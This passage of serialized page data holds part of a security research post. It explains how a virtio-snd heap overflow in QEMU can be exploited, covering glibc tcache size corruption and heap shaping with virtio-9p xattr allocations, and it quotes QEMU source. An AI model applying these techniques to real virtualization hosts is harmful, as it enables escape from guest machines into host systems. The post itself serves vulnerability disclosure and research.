tag":481,"props":125105,"children":125106},{"style":514},[125107],{"type":28,"value":603},{"type":23,"tag":481,"props":125109,"children":125110},{"style":610},[125111],{"type":28,"value":124076},{"type":23,"tag":481,"props":125113,"children":125114},{"style":525},[125115],{"type":28,"value":124081},{"type":23,"tag":481,"props":125117,"children":125118},{"class":483,"line":812},[125119],{"type":23,"tag":481,"props":125120,"children":125121},{"emptyLinePlaceholder":15},[125122],{"type":28,"value":1210},{"type":23,"tag":481,"props":125124,"children":125125},{"class":483,"line":825},[125126,125130,125134,125138],{"type":23,"tag":481,"props":125127,"children":125128},{"style":525},[125129],{"type":28,"value":124825},{"type":23,"tag":481,"props":125131,"children":125132},{"style":514},[125133],{"type":28,"value":603},{"type":23,"tag":481,"props":125135,"children":125136},{"style":610},[125137],{"type":28,"value":124403},{"type":23,"tag":481,"props":125139,"children":125140},{"style":525},[125141],{"type":28,"value":124122},{"type":23,"tag":481,"props":125143,"children":125144},{"class":483,"line":843},[125145],{"type":23,"tag":481,"props":125146,"children":125147},{"emptyLinePlaceholder":15},[125148],{"type":28,"value":1210},{"type":23,"tag":481,"props":125150,"children":125151},{"class":483,"line":864},[125152,125156,125160,125164,125168,125172],{"type":23,"tag":481,"props":125153,"children":125154},{"style":535},[125155],{"type":28,"value":28909},{"type":23,"tag":481,"props":125157,"children":125158},{"style":525},[125159],{"type":28,"value":578},{"type":23,"tag":481,"props":125161,"children":125162},{"style":610},[125163],{"type":28,"value":124598},{"type":23,"tag":481,"props":125165,"children":125166},{"style":525},[125167],{"type":28,"value":578},{"type":23,"tag":481,"props":125169,"children":125170},{"style":610},[125171],{"type":28,"value":124532},{"type":23,"tag":481,"props":125173,"children":125174},{"style":525},[125175],{"type":28,"value":124872},{"type":23,"tag":481,"props":125177,"children":125178},{"class":483,"line":873},[125179,125183,125187,125191,125195],{"type":23,"tag":481,"props":125180,"children":125181},{"style":535},[125182],{"type":28,"value":14481},{"type":23,"tag":481,"props":125184,"children":125185},{"style":610},[125186],{"type":28,"value":124884},{"type":23,"tag":481,"props":125188,"children":125189},{"style":525},[125190],{"type":28,"value":578},{"type":23,"tag":481,"props":125192,"children":125193},{"style":1805},[125194],{"type":28,"value":124562},{"type":23,"tag":481,"props":125196,"children":125197},{"style":525},[125198],{"type":28,"value":1366},{"type":23,"tag":481,"props":125200,"children":125201},{"class":483,"line":1125},[125202],{"type":23,"tag":481,"props":125203,"children":125204},{"emptyLinePlaceholder":15},[125205],{"type":28,"value":1210},{"type":23,"tag":481,"props":125207,"children":125208},{"class":483,"line":1142},[125209,125213,125217,125222,125227],{"type":23,"tag":481,"props":125210,"children":125211},{"style":610},[125212],{"type":28,"value":124665},{"type":23,"tag":481,"props":125214,"children":125215},{"style":525},[125216],{"type":28,"value":578},{"type":23,"tag":481,"props":125218,"children":125219},{"style":610},[125220],{"type":28,"value":125221},"arena_for_chunk",{"type":23,"tag":481,"props":125223,"children":125224},{"style":525},[125225],{"type":28,"value":125226}," (p), p);",{"type":23,"tag":481,"props":125228,"children":125229},{"style":488},[125230],{"type":28,"value":125231}," // [1]\n",{"type":23,"tag":481,"props":125233,"children":125234},{"class":483,"line":1159},[125235],{"type":23,"tag":481,"props":125236,"children":125237},{"emptyLinePlaceholder":15},[125238],{"type":28,"value":1210},{"type":23,"tag":481,"props":125240,"children":125241},{"class":483,"line":1172},[125242,125246],{"type":23,"tag":481,"props":125243,"children":125244},{"style":535},[125245],{"type":28,"value":124911},{"type":23,"tag":481,"props":125247,"children":125248},{"style":610},[125249],{"type":28,"value":124916},{"type":23,"tag":481,"props":125251,"children":125252},{"class":483,"line":1181},[125253,125257,125261,125265,125269,125273,125277,125281,125285,125289,125294,125298,125303],{"type":23,"tag":481,"props":125254,"children":125255},{"style":535},[125256],{"type":28,"value":28909},{"type":23,"tag":481,"props":125258,"children":125259},{"style":525},[125260],{"type":28,"value":578},{"type":23,"tag":481,"props":125262,"children":125263},{"style":610},[125264],{"type":28,"value":124932},{"type":23,"tag":481,"props":125266,"children":125267},{"style":525},[125268],{"type":28,"value":124603},{"type":23,"tag":481,"props":125270,"children":125271},{"style":514},[125272],{"type":28,"value":3282},{"type":23,"tag":481,"props":125274,"children":125275},{"style":508},[125276],{"type":28,"value":124945},{"type":23,"tag":481,"props":125278,"children":125279},{"style":525},[125280],{"type":28,"value":199},{"type":23,"tag":481,"props":125282,"children":125283},{"style":508},[125284],{"type":28,"value":124954},{"type":23,"tag":481,"props":125286,"children":125287},{"style":514},[125288],{"type":28,"value":11673},{"type":23,"tag":481,"props":125290,"children":125291},{"style":525},[125292],{"type":28,"value":125293}," tcache ",{"type":23,"tag":481,"props":125295,"children":125296},{"style":514},[125297],{"type":28,"value":13178},{"type":23,"tag":481,"props":125299,"children":125300},{"style":497},[125301],{"type":28,"value":125302}," NULL",{"type":23,"tag":481,"props":125304,"children":125305},{"style":525},[125306],{"type":28,"value":17209},{"type":23,"tag":481,"props":125308,"children":125309},{"class":483,"line":1204},[125310],{"type":23,"tag":481,"props":125311,"children":125312},{"style":525},[125313],{"type":28,"value":124685},{"type":23,"tag":24,"props":125315,"children":125316},{},[125317,125319,125324],{"type":28,"value":125318},"This means that as long as we can reliably force the corrupted chunk down the tcache path, we no longer need to worry much about integrity checks on ",{"type":23,"tag":64,"props":125320,"children":125322},{"className":125321},[],[125323],{"type":28,"value":121792},{"type":28,"value":125325},", because on the latest 2.43 glibc they are non-existent.",{"type":23,"tag":16288,"props":125327,"children":125328},{},[],{"type":23,"tag":24,"props":125330,"children":125331},{},[125332,125334,125339,125341,125347,125349,125354,125356,125362],{"type":28,"value":125333},"With that in mind, the idea we settled on was to allocate a chunk whose ",{"type":23,"tag":64,"props":125335,"children":125337},{"className":125336},[],[125338],{"type":28,"value":121792},{"type":28,"value":125340}," field was initially ",{"type":23,"tag":64,"props":125342,"children":125344},{"className":125343},[],[125345],{"type":28,"value":125346},"0x200",{"type":28,"value":125348},", then trigger the overflow and corrupt only its low byte. If the byte written is at least ",{"type":23,"tag":64,"props":125350,"children":125352},{"className":125351},[],[125353],{"type":28,"value":123969},{"type":28,"value":125355},", the resulting value would correspond to a larger, tcache-eligible, size in range ",{"type":23,"tag":64,"props":125357,"children":125359},{"className":125358},[],[125360],{"type":28,"value":125361},"[0x210, 0x2f0]",{"type":28,"value":125363},". That would let us free the chunk as an oversized entry into the tcache freelist, which we could later reclaim and overlap chunks for a better primitive.",{"type":23,"tag":24,"props":125365,"children":125366},{},[125367],{"type":28,"value":125368},"This approach gives us much better odds of success. In fact, with the stream configuration we use later, we can make this behavior reliable enough to exploit consistently.",{"type":23,"tag":7092,"props":125370,"children":125372},{"id":125371},"heap-spraying",[125373],{"type":28,"value":125374},"Heap Spraying",{"type":23,"tag":24,"props":125376,"children":125377},{},[125378,125380,125385],{"type":28,"value":125379},"With that idea in mind, we now need a way to shape the heap so that a ",{"type":23,"tag":64,"props":125381,"children":125383},{"className":125382},[],[125384],{"type":28,"value":125346},{"type":28,"value":125386},"-sized chunk is placed immediately after the vulnerable virtio-snd buffer. In addition, we need to drain any existing entries from the relevant tcache freelist so that it is not full when we later free the corrupted oversized chunk.",{"type":23,"tag":24,"props":125388,"children":125389},{},[125390,125392,125397],{"type":28,"value":125391},"Unfortunately, while virtio-snd does provide some heap spraying primitives through its buffer allocations, they are fairly limited. For example, we could only allocate up to 64 buffers at a time. On top of that, ",{"type":23,"tag":64,"props":125393,"children":125395},{"className":125394},[],[125396],{"type":28,"value":121987},{"type":28,"value":125398}," is a FIFO queue, so we could not control the order in which those buffers were freed - they would always be released in the same order they were inserted.",{"type":23,"tag":24,"props":125400,"children":125401},{},[125402],{"type":28,"value":125403},"For the purposes of this blog post, we therefore enabled another virtio device to help with heap shaping.",{"type":23,"tag":16388,"props":125405,"children":125407},{"id":125406},"virtio-9p",[125408],{"type":28,"value":125406},{"type":23,"tag":24,"props":125410,"children":125411},{},[125412,125417],{"type":23,"tag":64,"props":125413,"children":125415},{"className":125414},[],[125416],{"type":28,"value":125406},{"type":28,"value":125418}," is a paravirtualized filesystem device that lets the guest access a directory exported by the host through the 9P protocol. The part that interested us most was its handling of extended attributes, or xattrs.",{"type":23,"tag":24,"props":125420,"children":125421},{},[125422,125424,125430,125432,125438,125439,125445,125447,125452],{"type":28,"value":125423},"Through a ",{"type":23,"tag":64,"props":125425,"children":125427},{"className":125426},[],[125428],{"type":28,"value":125429},"P9_TXATTRCREATE",{"type":28,"value":125431}," request, we can allocate host-side buffers for both the ",{"type":23,"tag":64,"props":125433,"children":125435},{"className":125434},[],[125436],{"type":28,"value":125437},".name",{"type":28,"value":8478},{"type":23,"tag":64,"props":125440,"children":125442},{"className":125441},[],[125443],{"type":28,"value":125444},".value",{"type":28,"value":125446}," fields, with the size of ",{"type":23,"tag":64,"props":125448,"children":125450},{"className":125449},[],[125451],{"type":28,"value":125444},{"type":28,"value":125453}," being directly controlled by the guest.",{"type":23,"tag":435,"props":125455,"children":125457},{"code":125456,"language":661,"meta":7,"className":14005,"style":7},"static void coroutine_fn v9fs_xattrcreate(void *opaque)\n{\n int flags, rflags = 0;\n int32_t fid;\n uint64_t size;\n ssize_t err = 0;\n V9fsString name;\n size_t offset = 7;\n V9fsFidState *file_fidp;\n V9fsFidState *xattr_fidp;\n V9fsPDU *pdu = opaque;\n\n v9fs_string_init(&name);\n err = pdu_unmarshal(pdu, offset, \"dsqd\", &fid, &name, &size, &flags);\n if (err \u003C 0) {\n goto out_nofid;\n }\n\n [...]\n\n if (size > P9_XATTR_SIZE_MAX) {\n err = -E2BIG;\n goto out_nofid;\n }\n\n [...]\n\n v9fs_string_init(&xattr_fidp->fs.xattr.name);\n v9fs_string_copy(&xattr_fidp->fs.xattr.name, &name);\n xattr_fidp->fs.xattr.value = g_malloc0(size);\n}\n",[125458],{"type":23,"tag":64,"props":125459,"children":125460},{"__ignoreMap":7},[125461,125503,125510,125534,125547,125558,125583,125591,125616,125633,125649,125675,125682,125703,125769,125793,125806,125813,125820,125827,125834,125854,125875,125886,125893,125900,125907,125914,125963,126019,126064],{"type":23,"tag":481,"props":125462,"children":125463},{"class":483,"line":484},[125464,125468,125472,125477,125482,125486,125490,125494,125499],{"type":23,"tag":481,"props":125465,"children":125466},{"style":497},[125467],{"type":28,"value":48570},{"type":23,"tag":481,"props":125469,"children":125470},{"style":497},[125471],{"type":28,"value":48575},{"type":23,"tag":481,"props":125473,"children":125474},{"style":525},[125475],{"type":28,"value":125476}," coroutine_fn ",{"type":23,"tag":481,"props":125478,"children":125479},{"style":610},[125480],{"type":28,"value":125481},"v9fs_xattrcreate",{"type":23,"tag":481,"props":125483,"children":125484},{"style":525},[125485],{"type":28,"value":618},{"type":23,"tag":481,"props":125487,"children":125488},{"style":497},[125489],{"type":28,"value":49153},{"type":23,"tag":481,"props":125491,"children":125492},{"style":514},[125493],{"type":28,"value":7301},{"type":23,"tag":481,"props":125495,"children":125496},{"style":508},[125497],{"type":28,"value":125498},"opaque",{"type":23,"tag":481,"props":125500,"children":125501},{"style":525},[125502],{"type":28,"value":675},{"type":23,"tag":481,"props":125504,"children":125505},{"class":483,"line":351},[125506],{"type":23,"tag":481,"props":125507,"children":125508},{"style":525},[125509],{"type":28,"value":8366},{"type":23,"tag":481,"props":125511,"children":125512},{"class":483,"line":531},[125513,125517,125522,125526,125530],{"type":23,"tag":481,"props":125514,"children":125515},{"style":497},[125516],{"type":28,"value":16573},{"type":23,"tag":481,"props":125518,"children":125519},{"style":525},[125520],{"type":28,"value":125521}," flags, rflags ",{"type":23,"tag":481,"props":125523,"children":125524},{"style":514},[125525],{"type":28,"value":603},{"type":23,"tag":481,"props":125527,"children":125528},{"style":551},[125529],{"type":28,"value":554},{"type":23,"tag":481,"props":125531,"children":125532},{"style":525},[125533],{"type":28,"value":528},{"type":23,"tag":481,"props":125535,"children":125536},{"class":483,"line":567},[125537,125542],{"type":23,"tag":481,"props":125538,"children":125539},{"style":497},[125540],{"type":28,"value":125541}," int32_t",{"type":23,"tag":481,"props":125543,"children":125544},{"style":525},[125545],{"type":28,"value":125546}," fid;\n",{"type":23,"tag":481,"props":125548,"children":125549},{"class":483,"line":678},[125550,125554],{"type":23,"tag":481,"props":125551,"children":125552},{"style":497},[125553],{"type":28,"value":53139},{"type":23,"tag":481,"props":125555,"children":125556},{"style":525},[125557],{"type":28,"value":122134},{"type":23,"tag":481,"props":125559,"children":125560},{"class":483,"line":784},[125561,125566,125571,125575,125579],{"type":23,"tag":481,"props":125562,"children":125563},{"style":497},[125564],{"type":28,"value":125565}," ssize_t",{"type":23,"tag":481,"props":125567,"children":125568},{"style":525},[125569],{"type":28,"value":125570}," err ",{"type":23,"tag":481,"props":125572,"children":125573},{"style":514},[125574],{"type":28,"value":603},{"type":23,"tag":481,"props":125576,"children":125577},{"style":551},[125578],{"type":28,"value":554},{"type":23,"tag":481,"props":125580,"children":125581},{"style":525},[125582],{"type":28,"value":528},{"type":23,"tag":481,"props":125584,"children":125585},{"class":483,"line":812},[125586],{"type":23,"tag":481,"props":125587,"children":125588},{"style":525},[125589],{"type":28,"value":125590}," V9fsString name;\n",{"type":23,"tag":481,"props":125592,"children":125593},{"class":483,"line":825},[125594,125598,125603,125607,125612],{"type":23,"tag":481,"props":125595,"children":125596},{"style":497},[125597],{"type":28,"value":14055},{"type":23,"tag":481,"props":125599,"children":125600},{"style":525},[125601],{"type":28,"value":125602}," offset ",{"type":23,"tag":481,"props":125604,"children":125605},{"style":514},[125606],{"type":28,"value":603},{"type":23,"tag":481,"props":125608,"children":125609},{"style":551},[125610],{"type":28,"value":125611}," 7",{"type":23,"tag":481,"props":125613,"children":125614},{"style":525},[125615],{"type":28,"value":528},{"type":23,"tag":481,"props":125617,"children":125618},{"class":483,"line":843},[125619,125624,125628],{"type":23,"tag":481,"props":125620,"children":125621},{"style":525},[125622],{"type":28,"value":125623}," V9fsFidState ",{"type":23,"tag":481,"props":125625,"children":125626},{"style":514},[125627],{"type":28,"value":2120},{"type":23,"tag":481,"props":125629,"children":125630},{"style":525},[125631],{"type":28,"value":125632},"file_fidp;\n",{"type":23,"tag":481,"props":125634,"children":125635},{"class":483,"line":864},[125636,125640,125644],{"type":23,"tag":481,"props":125637,"children":125638},{"style":525},[125639],{"type":28,"value":125623},{"type":23,"tag":481,"props":125641,"children":125642},{"style":514},[125643],{"type":28,"value":2120},{"type":23,"tag":481,"props":125645,"children":125646},{"style":525},[125647],{"type":28,"value":125648},"xattr_fidp;\n",{"type":23,"tag":481,"props":125650,"children":125651},{"class":483,"line":873},[125652,125657,125661,125666,125670],{"type":23,"tag":481,"props":125653,"children":125654},{"style":525},[125655],{"type":28,"value":125656}," V9fsPDU ",{"type":23,"tag":481,"props":125658,"children":125659},{"style":514},[125660],{"type":28,"value":2120},{"type":23,"tag":481,"props":125662,"children":125663},{"style":525},[125664],{"type":28,"value":125665},"pdu ",{"type":23,"tag":481,"props":125667,"children":125668},{"style":514},[125669],{"type":28,"value":603},{"type":23,"tag":481,"props":125671,"children":125672},{"style":525},[125673],{"type":28,"value":125674}," opaque;\n",{"type":23,"tag":481,"props":125676,"children":125677},{"class":483,"line":1125},[125678],{"type":23,"tag":481,"props":125679,"children":125680},{"emptyLinePlaceholder":15},[125681],{"type":28,"value":1210},{"type":23,"tag":481,"props":125683,"children":125684},{"class":483,"line":1142},[125685,125690,125694,125698],{"type":23,"tag":481,"props":125686,"children":125687},{"style":610},[125688],{"type":28,"value":125689}," v9fs_string_init",{"type":23,"tag":481,"props":125691,"children":125692},{"style":525},[125693],{"type":28,"value":618},{"type":23,"tag":481,"props":125695,"children":125696},{"style":514},[125697],{"type":28,"value":623},{"type":23,"tag":481,"props":125699,"children":125700},{"style":525},[125701],{"type":28,"value":125702},"name);\n",{"type":23,"tag":481,"props":125704,"children":125705},{"class":483,"line":1159},[125706,125711,125715,125720,125725,125730,125734,125738,125743,125747,125752,125756,125760,125764],{"type":23,"tag":481,"props":125707,"children":125708},{"style":525},[125709],{"type":28,"value":125710}," err ",{"type":23,"tag":481,"props":125712,"children":125713},{"style":514},[125714],{"type":28,"value":603},{"type":23,"tag":481,"props":125716,"children":125717},{"style":610},[125718],{"type":28,"value":125719}," pdu_unmarshal",{"type":23,"tag":481,"props":125721,"children":125722},{"style":525},[125723],{"type":28,"value":125724},"(pdu, offset, ",{"type":23,"tag":481,"props":125726,"children":125727},{"style":1805},[125728],{"type":28,"value":125729},"\"dsqd\"",{"type":23,"tag":481,"props":125731,"children":125732},{"style":525},[125733],{"type":28,"value":588},{"type":23,"tag":481,"props":125735,"children":125736},{"style":514},[125737],{"type":28,"value":623},{"type":23,"tag":481,"props":125739,"children":125740},{"style":525},[125741],{"type":28,"value":125742},"fid, ",{"type":23,"tag":481,"props":125744,"children":125745},{"style":514},[125746],{"type":28,"value":623},{"type":23,"tag":481,"props":125748,"children":125749},{"style":525},[125750],{"type":28,"value":125751},"name, ",{"type":23,"tag":481,"props":125753,"children":125754},{"style":514},[125755],{"type":28,"value":623},{"type":23,"tag":481,"props":125757,"children":125758},{"style":525},[125759],{"type":28,"value":124502},{"type":23,"tag":481,"props":125761,"children":125762},{"style":514},[125763],{"type":28,"value":623},{"type":23,"tag":481,"props":125765,"children":125766},{"style":525},[125767],{"type":28,"value":125768},"flags);\n",{"type":23,"tag":481,"props":125770,"children":125771},{"class":483,"line":1172},[125772,125776,125781,125785,125789],{"type":23,"tag":481,"props":125773,"children":125774},{"style":535},[125775],{"type":28,"value":9766},{"type":23,"tag":481,"props":125777,"children":125778},{"style":525},[125779],{"type":28,"value":125780}," (err ",{"type":23,"tag":481,"props":125782,"children":125783},{"style":514},[125784],{"type":28,"value":3282},{"type":23,"tag":481,"props":125786,"children":125787},{"style":551},[125788],{"type":28,"value":554},{"type":23,"tag":481,"props":125790,"children":125791},{"style":525},[125792],{"type":28,"value":12292},{"type":23,"tag":481,"props":125794,"children":125795},{"class":483,"line":1181},[125796,125801],{"type":23,"tag":481,"props":125797,"children":125798},{"style":535},[125799],{"type":28,"value":125800}," goto",{"type":23,"tag":481,"props":125802,"children":125803},{"style":525},[125804],{"type":28,"value":125805}," out_nofid;\n",{"type":23,"tag":481,"props":125807,"children":125808},{"class":483,"line":1204},[125809],{"type":23,"tag":481,"props":125810,"children":125811},{"style":525},[125812],{"type":28,"value":879},{"type":23,"tag":481,"props":125814,"children":125815},{"class":483,"line":1213},[125816],{"type":23,"tag":481,"props":125817,"children":125818},{"emptyLinePlaceholder":15},[125819],{"type":28,"value":1210},{"type":23,"tag":481,"props":125821,"children":125822},{"class":483,"line":1222},[125823],{"type":23,"tag":481,"props":125824,"children":125825},{"style":525},[125826],{"type":28,"value":102333},{"type":23,"tag":481,"props":125828,"children":125829},{"class":483,"line":1291},[125830],{"type":23,"tag":481,"props":125831,"children":125832},{"emptyLinePlaceholder":15},[125833],{"type":28,"value":1210},{"type":23,"tag":481,"props":125835,"children":125836},{"class":483,"line":1299},[125837,125841,125845,125849],{"type":23,"tag":481,"props":125838,"children":125839},{"style":535},[125840],{"type":28,"value":9766},{"type":23,"tag":481,"props":125842,"children":125843},{"style":525},[125844],{"type":28,"value":124603},{"type":23,"tag":481,"props":125846,"children":125847},{"style":514},[125848],{"type":28,"value":7947},{"type":23,"tag":481,"props":125850,"children":125851},{"style":525},[125852],{"type":28,"value":125853}," P9_XATTR_SIZE_MAX) {\n",{"type":23,"tag":481,"props":125855,"children":125856},{"class":483,"line":1329},[125857,125862,125866,125870],{"type":23,"tag":481,"props":125858,"children":125859},{"style":525},[125860],{"type":28,"value":125861}," err ",{"type":23,"tag":481,"props":125863,"children":125864},{"style":514},[125865],{"type":28,"value":603},{"type":23,"tag":481,"props":125867,"children":125868},{"style":514},[125869],{"type":28,"value":48781},{"type":23,"tag":481,"props":125871,"children":125872},{"style":525},[125873],{"type":28,"value":125874},"E2BIG;\n",{"type":23,"tag":481,"props":125876,"children":125877},{"class":483,"line":1337},[125878,125882],{"type":23,"tag":481,"props":125879,"children":125880},{"style":535},[125881],{"type":28,"value":125800},{"type":23,"tag":481,"props":125883,"children":125884},{"style":525},[125885],{"type":28,"value":125805},{"type":23,"tag":481,"props":125887,"children":125888},{"class":483,"line":1369},[125889],{"type":23,"tag":481,"props":125890,"children":125891},{"style":525},[125892],{"type":28,"value":879},{"type":23,"tag":481,"props":125894,"children":125895},{"class":483,"line":1377},[125896],{"type":23,"tag":481,"props":125897,"children":125898},{"emptyLinePlaceholder":15},[125899],{"type":28,"value":1210},{"type":23,"tag":481,"props":125901,"children":125902},{"class":483,"line":1437},[125903],{"type":23,"tag":481,"props":125904,"children":125905},{"style":525},[125906],{"type":28,"value":102333},{"type":23,"tag":481,"props":125908,"children":125909},{"class":483,"line":6528},[125910],{"type":23,"tag":481,"props":125911,"children":125912},{"emptyLinePlaceholder":15},[125913],{"type":28,"value":1210},{"type":23,"tag":481,"props":125915,"children":125916},{"class":483,"line":6546},[125917,125921,125925,125929,125934,125938,125942,125946,125951,125955,125959],{"type":23,"tag":481,"props":125918,"children":125919},{"style":610},[125920],{"type":28,"value":125689},{"type":23,"tag":481,"props":125922,"children":125923},{"style":525},[125924],{"type":28,"value":618},{"type":23,"tag":481,"props":125926,"children":125927},{"style":514},[125928],{"type":28,"value":623},{"type":23,"tag":481,"props":125930,"children":125931},{"style":508},[125932],{"type":28,"value":125933},"xattr_fidp",{"type":23,"tag":481,"props":125935,"children":125936},{"style":525},[125937],{"type":28,"value":11245},{"type":23,"tag":481,"props":125939,"children":125940},{"style":508},[125941],{"type":28,"value":34500},{"type":23,"tag":481,"props":125943,"children":125944},{"style":525},[125945],{"type":28,"value":199},{"type":23,"tag":481,"props":125947,"children":125948},{"style":508},[125949],{"type":28,"value":125950},"xattr",{"type":23,"tag":481,"props":125952,"children":125953},{"style":525},[125954],{"type":28,"value":199},{"type":23,"tag":481,"props":125956,"children":125957},{"style":508},[125958],{"type":28,"value":46023},{"type":23,"tag":481,"props":125960,"children":125961},{"style":525},[125962],{"type":28,"value":1366},{"type":23,"tag":481,"props":125964,"children":125965},{"class":483,"line":6591},[125966,125971,125975,125979,125983,125987,125991,125995,125999,126003,126007,126011,126015],{"type":23,"tag":481,"props":125967,"children":125968},{"style":610},[125969],{"type":28,"value":125970}," v9fs_string_copy",{"type":23,"tag":481,"props":125972,"children":125973},{"style":525},[125974],{"type":28,"value":618},{"type":23,"tag":481,"props":125976,"children":125977},{"style":514},[125978],{"type":28,"value":623},{"type":23,"tag":481,"props":125980,"children":125981},{"style":508},[125982],{"type":28,"value":125933},{"type":23,"tag":481,"props":125984,"children":125985},{"style":525},[125986],{"type":28,"value":11245},{"type":23,"tag":481,"props":125988,"children":125989},{"style":508},[125990],{"type":28,"value":34500},{"type":23,"tag":481,"props":125992,"children":125993},{"style":525},[125994],{"type":28,"value":199},{"type":23,"tag":481,"props":125996,"children":125997},{"style":508},[125998],{"type":28,"value":125950},{"type":23,"tag":481,"props":126000,"children":126001},{"style":525},[126002],{"type":28,"value":199},{"type":23,"tag":481,"props":126004,"children":126005},{"style":508},[126006],{"type":28,"value":46023},{"type":23,"tag":481,"props":126008,"children":126009},{"style":525},[126010],{"type":28,"value":588},{"type":23,"tag":481,"props":126012,"children":126013},{"style":514},[126014],{"type":28,"value":623},{"type":23,"tag":481,"props":126016,"children":126017},{"style":525},[126018],{"type":28,"value":125702},{"type":23,"tag":481,"props":126020,"children":126021},{"class":483,"line":6697},[126022,126027,126031,126035,126039,126043,126047,126051,126055,126059],{"type":23,"tag":481,"props":126023,"children":126024},{"style":508},[126025],{"type":28,"value":126026}," xattr_fidp",{"type":23,"tag":481,"props":126028,"children":126029},{"style":525},[126030],{"type":28,"value":11245},{"type":23,"tag":481,"props":126032,"children":126033},{"style":508},[126034],{"type":28,"value":34500},{"type":23,"tag":481,"props":126036,"children":126037},{"style":525},[126038],{"type":28,"value":199},{"type":23,"tag":481,"props":126040,"children":126041},{"style":508},[126042],{"type":28,"value":125950},{"type":23,"tag":481,"props":126044,"children":126045},{"style":525},[126046],{"type":28,"value":199},{"type":23,"tag":481,"props":126048,"children":126049},{"style":508},[126050],{"type":28,"value":36670},{"type":23,"tag":481,"props":126052,"children":126053},{"style":514},[126054],{"type":28,"value":517},{"type":23,"tag":481,"props":126056,"children":126057},{"style":610},[126058],{"type":28,"value":121705},{"type":23,"tag":481,"props":126060,"children":126061},{"style":525},[126062],{"type":28,"value":126063},"(size);\n",{"type":23,"tag":481,"props":126065,"children":126066},{"class":483,"line":21008},[126067],{"type":23,"tag":481,"props":126068,"children":126069},{"style":525},[126070],{"type":28,"value":1443},{"type":23,"tag":24,"props":126072,"children":126073},{},[126074,126076,126081,126083,126088,126089,126094,126096,126101],{"type":28,"value":126075},"Because the ",{"type":23,"tag":64,"props":126077,"children":126079},{"className":126078},[],[126080],{"type":28,"value":125437},{"type":28,"value":126082}," field is handled as a string, embedded null bytes are not preserved, which makes it less useful for our purposes. It also introduces some extra allocation noise into the heap, since creating an xattr allocates both ",{"type":23,"tag":64,"props":126084,"children":126086},{"className":126085},[],[126087],{"type":28,"value":125437},{"type":28,"value":8478},{"type":23,"tag":64,"props":126090,"children":126092},{"className":126091},[],[126093],{"type":28,"value":125444},{"type":28,"value":126095},", not just the ",{"type":23,"tag":64,"props":126097,"children":126099},{"className":126098},[],[126100],{"type":28,"value":125444},{"type":28,"value":126102}," we actually care about. But we will get around this later in the blog post.",{"type":23,"tag":24,"props":126104,"children":126105},{},[126106,126107,126112],{"type":28,"value":14104},{"type":23,"tag":64,"props":126108,"children":126110},{"className":126109},[],[126111],{"type":28,"value":125444},{"type":28,"value":126113}," field, however, is much more interesting: it gives us a guest-controlled heap allocation of an arbitrary size. Each of these allocations is tied to its own xattr FID, which means it stays alive for as long as that FID remains live. In practice, this gives us a large number of persistent host-side heap objects that we can manage individually.",{"type":23,"tag":24,"props":126115,"children":126116},{},[126117,126119,126124,126126,126132,126134,126140,126142,126148],{"type":28,"value":126118},"Once allocated, we can write arbitrary bytes into the ",{"type":23,"tag":64,"props":126120,"children":126122},{"className":126121},[],[126123],{"type":28,"value":125444},{"type":28,"value":126125}," buffer through a ",{"type":23,"tag":64,"props":126127,"children":126129},{"className":126128},[],[126130],{"type":28,"value":126131},"P9_TWRITE",{"type":28,"value":126133}," request on the corresponding xattr FID. We can also read the contents back with ",{"type":23,"tag":64,"props":126135,"children":126137},{"className":126136},[],[126138],{"type":28,"value":126139},"P9_TREAD",{"type":28,"value":126141},", which is useful later when turning overlap into stronger primitives. Finally, we can free any individual allocation at any time by issuing a ",{"type":23,"tag":64,"props":126143,"children":126145},{"className":126144},[],[126146],{"type":28,"value":126147},"P9_TCLUNK",{"type":28,"value":126149}," request on that same FID.",{"type":23,"tag":24,"props":126151,"children":126152},{},[126153,126155,126161],{"type":28,"value":126154},"This gives us a very strong heap shaping primitive in QEMU - allocate on demand, choose the size precisely (up to ",{"type":23,"tag":64,"props":126156,"children":126158},{"className":126157},[],[126159],{"type":28,"value":126160},"65536",{"type":28,"value":126162}," bytes, which is more than enough here), fully control the contents of the allocation, keep it alive as long as needed, and free it selectively later.",{"type":23,"tag":7092,"props":126164,"children":126166},{"id":126165},"setting-the-heap-layout",[126167],{"type":28,"value":126168},"Setting the Heap Layout",{"type":23,"tag":24,"props":126170,"children":126171},{},[126172,126174,126179],{"type":28,"value":126173},"Ideally, we want a contiguous heap region consisting only of ",{"type":23,"tag":64,"props":126175,"children":126177},{"className":126176},[],[126178],{"type":28,"value":125444},{"type":28,"value":126180}," allocations, like this:",{"type":23,"tag":435,"props":126182,"children":126184},{"code":126183}," 0x200 0x200 0x200 0x200 0x200\n+----------+----------+----------+----------+----------+\n| | | | | |\n| .value A | .value B | .value C | .value D | .value E |\n| | | | | |\n+----------+----------+----------+----------+----------+\n",[126185],{"type":23,"tag":64,"props":126186,"children":126187},{"__ignoreMap":7},[126188],{"type":28,"value":126183},{"type":23,"tag":24,"props":126190,"children":126191},{},[126192,126194,126199,126201,126206,126208,126213],{"type":28,"value":126193},"This lets us later create holes by freeing every other ",{"type":23,"tag":64,"props":126195,"children":126197},{"className":126196},[],[126198],{"type":28,"value":125444},{"type":28,"value":126200}," allocation. Those freed chunks enter the freelist, allowing the overflowing virtio-snd buffer to be allocated into one of those holes and overflow into the ",{"type":23,"tag":64,"props":126202,"children":126204},{"className":126203},[],[126205],{"type":28,"value":121792},{"type":28,"value":126207}," field of the next live ",{"type":23,"tag":64,"props":126209,"children":126211},{"className":126210},[],[126212],{"type":28,"value":125444},{"type":28,"value":126214}," chunk.",{"type":23,"tag":24,"props":126216,"children":126217},{},[126218],{"type":28,"value":126219},"Of course, we do not know the initial state of the heap. In practice, it is fragmented and already contains many freelist entries. Fortunately, this is not a problem for glibc, since the allocator is deterministic. By allocating enough chunks of the size we want, malloc will first consume any suitable entries already present in the freelist. Once those are exhausted, subsequent allocations will be served from the top chunk in a contiguous fashion, giving us the continuous region we need.",{"type":23,"tag":24,"props":126221,"children":126222},{},[126223,126225,126230,126232,126237,126239,126244,126246,126251],{"type":28,"value":126224},"As mentioned earlier, ",{"type":23,"tag":64,"props":126226,"children":126228},{"className":126227},[],[126229],{"type":28,"value":125481},{"type":28,"value":126231}," always allocates two chunks: one for ",{"type":23,"tag":64,"props":126233,"children":126235},{"className":126234},[],[126236],{"type":28,"value":125437},{"type":28,"value":126238}," and one for ",{"type":23,"tag":64,"props":126240,"children":126242},{"className":126241},[],[126243],{"type":28,"value":125444},{"type":28,"value":126245},". We want to avoid having ",{"type":23,"tag":64,"props":126247,"children":126249},{"className":126248},[],[126250],{"type":28,"value":125437},{"type":28,"value":126252}," chunks inside our main contiguous region. There are two ways to approach 